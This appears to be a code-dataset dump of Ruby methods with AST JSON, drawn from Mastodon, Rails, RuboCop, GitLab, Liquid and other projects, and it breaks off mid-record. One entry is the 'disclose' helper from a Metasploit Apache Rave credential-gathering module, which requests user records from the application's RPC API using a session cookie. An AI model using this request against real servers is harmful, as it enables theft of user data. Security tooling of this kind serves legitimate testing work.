{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/services/delete_account_service_spec.rb","start_line":38,"raw_source":"def expect_deletion_of_associated_owned_records\n expect { status.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { status_with_mention.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { mention.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { media_attachment.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { notification.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { favourite.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { active_relationship.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { passive_relationship.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { poll.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { poll_vote.reload }.to raise_error(ActiveRecord::RecordNotFound)\n expect { account_note.reload }.to raise_error(ActiveRecord::RecordNotFound)\n end","complexity_score":81.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_deletion_of_associated_owned_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status_with_mention\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mention\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"media_attachment\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"favourite\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_relationship\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"passive_relationship\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"poll\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"poll_vote\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_note\"]},\"reload\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]}]}]}","id":"f0edfefd-88d3-4343-988f-aa8ad3ba301d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/show.rb","start_line":87,"raw_source":"def click_file(filename)\n within_element('file-tree-table') do\n click_element('file-name-link', text: filename)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"click_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"file-tree-table\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"file-name-link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]}","id":"322a7c8f-2c0d-4201-b53d-2a800452921c"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/account_serializer.rb","start_line":157,"raw_source":"def moved_and_not_nested?\n object.moved?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"moved_and_not_nested?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"moved?\"]}]}","id":"23868b6f-0136-49a6-80b8-f5cfeed1c736"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":3040,"raw_source":"def test_nested_fields_for_with_auto_index\n form_for(@post, as: \"post[]\") do |f|\n concat f.fields_for(:comment, @post) { |c|\n concat c.text_field(:title)\n }\n end\n\n expected = whole_form(\"/posts/123\", \"edit_post[]\", \"edit_post[]\", method: \"patch\") do\n \"<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />\"\n end\n\n assert_dom_equal expected, @rendered\n end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_fields_for_with_auto_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"post[]\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields_for\",{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"edit_post[]\"]},{\"type\":\"str\",\"children\":[\"edit_post[]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"d39ec282-6adb-4360-9255-83da52129af0"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/team_members_controller.rb","start_line":38,"raw_source":"def members_to_be_removed_ids\n current_members_ids - params[:user_ids]\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"members_to_be_removed_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_members_ids\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_ids\"]}]}]}]}","id":"f093b738-030b-4a5f-91ff-b4f3c0410e85"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/tap_formatter.rb","start_line":66,"raw_source":"def message(offense)\n message =\n if offense.corrected_with_todo?\n '[Todo] '\n elsif offense.corrected?\n '[Corrected] '\n elsif offense.correctable?\n '[Correctable] '\n else\n ''\n end\n\n \"#{message}#{annotate_message(offense.message)}\"\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offense\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense\"]},\"corrected_with_todo?\"]},{\"type\":\"str\",\"children\":[\"[Todo] \"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense\"]},\"corrected?\"]},{\"type\":\"str\",\"children\":[\"[Corrected] \"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense\"]},\"correctable?\"]},{\"type\":\"str\",\"children\":[\"[Correctable] \"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"annotate_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense\"]},\"message\"]}]}]}]}]}]}","id":"5217abd9-46e8-4863-9150-0050196395f3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/kerberos/inspect_ticket.rb","start_line":61,"raw_source":"def validate_key\n if datastore['NTHASH'].present? && datastore['AES_KEY'].present?\n fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH and AES_KEY may not both be set for inspecting a ticket')\n end\n\n if datastore['NTHASH'].present?\n key_type = :nthash\n elsif datastore['AES_KEY'].present?\n key_type = :aes_key\n else\n key_type = nil\n end\n\n case key_type\n when :nthash\n key = validate_nthash(datastore['NTHASH'])\n when :aes_key\n key = validate_aes_key(datastore['AES_KEY'])\n else\n print_status('No decryption key provided proceeding without decryption.')\n key = nil\n end\n\n key\n end","complexity_score":40.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NTHASH\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AES_KEY\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"NTHASH and AES_KEY may not both be set for inspecting a ticket\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NTHASH\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"key_type\",{\"type\":\"sym\",\"children\":[\"nthash\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AES_KEY\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"key_type\",{\"type\":\"sym\",\"children\":[\"aes_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key_type\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"nthash\"]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"validate_nthash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NTHASH\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"aes_key\"]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"validate_aes_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AES_KEY\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No decryption key provided proceeding without decryption.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}","id":"16307b46-17b1-47cb-8e0c-e585c4c3edcc"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/base.rb","start_line":408,"raw_source":"def format_possible_json_payload(payload)\n begin\n JSON.pretty_generate(JSON.parse(payload))\n rescue JSON::ParserError\n payload\n end\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"format_possible_json_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"lvar\",\"children\":[\"payload\"]}]},null]}]}]}","id":"150b61f1-6b1d-499e-8f5c-30a5858cfbb5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/apache_rave_creds.rb","start_line":75,"raw_source":"def disclose(cookie, offset)\n uri = normalize_uri(target_uri.to_s, \"app\", \"api\", \"rpc\", \"users\", \"get\")\n\n res = send_request_cgi({\n 'uri' => uri,\n 'method' => 'GET',\n 'vars_get' => {\n 'offset' => \"#{offset}\"\n },\n 'cookie' => \"JSESSIONID=#{cookie}\"\n })\n\n if res and res.code == 200 and res.headers['Content-Type'] =~ /application\\/json/ and res.body =~ /resultSet/\n return res.body\n else\n return nil\n end\n end","complexity_score":19.05,"ast_json":"{\"type\":\"def\",\"children\":[\"disclose\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"app\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"rpc\"]},{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"str\",\"children\":[\"get\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"offset\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSESSIONID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"application/json\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"resultSet\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"7c69c378-83aa-4e44-ab13-49f5a450f0c1"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/association.rb","start_line":97,"raw_source":"def stale_target?\n loaded? && @stale_state != stale_state\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"stale_target?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loaded?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stale_state\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"stale_state\"]}]}]}]}","id":"1e117572-e4c7-4523-b980-ff4e3340f2f2"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/trim_mode_test.rb","start_line":538,"raw_source":"def test_bug_compatible_pre_trim\n template = Liquid::Template.parse(\"\\n {%- raw %}{% endraw %}\", bug_compatible_whitespace_trimming: true)\n assert_equal(\"\\n\", template.render)\n\n template = Liquid::Template.parse(\"\\n {%- if true %}{% endif %}\", bug_compatible_whitespace_trimming: true)\n assert_equal(\"\\n\", template.render)\n\n template = Liquid::Template.parse(\"{{ 'B' }} \\n{%- if true %}C{% endif %}\", bug_compatible_whitespace_trimming: true)\n assert_equal(\"B C\", template.render)\n\n template = Liquid::Template.parse(\"B\\n {%- raw %}{% endraw %}\", bug_compatible_whitespace_trimming: true)\n assert_equal(\"B\", template.render)\n\n template = Liquid::Template.parse(\"B\\n {%- if true %}{% endif %}\", bug_compatible_whitespace_trimming: true)\n assert_equal(\"B\", template.render)\n end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bug_compatible_pre_trim\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"\\n {%- raw %}{% endraw %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bug_compatible_whitespace_trimming\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"\\n {%- if true %}{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bug_compatible_whitespace_trimming\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{ 'B' }} \\n{%- if true %}C{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bug_compatible_whitespace_trimming\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"B C\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"B\\n {%- raw %}{% endraw %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bug_compatible_whitespace_trimming\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"B\\n {%- if true %}{% endif %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bug_compatible_whitespace_trimming\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render\"]}]}]}]}","id":"0480688b-3583-4323-916a-ab6051a368ab"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/runner.rb","start_line":487,"raw_source":"def get_processed_source(file, prism_result)\n config = @config_store.for_file(file)\n ruby_version = config.target_ruby_version\n parser_engine = config.parser_engine\n\n processed_source = if @options[:stdin]\n ProcessedSource.new(\n @options[:stdin],\n ruby_version,\n file,\n parser_engine: parser_engine,\n prism_result: prism_result\n )\n else\n begin\n ProcessedSource.from_file(\n file, ruby_version, parser_engine: parser_engine\n )\n rescue Errno::ENOENT\n raise RuboCop::Error, \"No such file or directory: #{file}\"\n end\n end\n processed_source.config = config\n processed_source.registry = mobilized_cop_classes(config)\n processed_source\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_processed_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"prism_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_store\"]},\"for_file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ruby_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"target_ruby_version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser_engine\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"parser_engine\"]}]},{\"type\":\"lvasgn\",\"children\":[\"processed_source\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stdin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProcessedSource\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stdin\"]}]},{\"type\":\"lvar\",\"children\":[\"ruby_version\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parser_engine\"]},{\"type\":\"lvar\",\"children\":[\"parser_engine\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prism_result\"]},{\"type\":\"lvar\",\"children\":[\"prism_result\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProcessedSource\"]},\"from_file\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"ruby_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parser_engine\"]},{\"type\":\"lvar\",\"children\":[\"parser_engine\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"t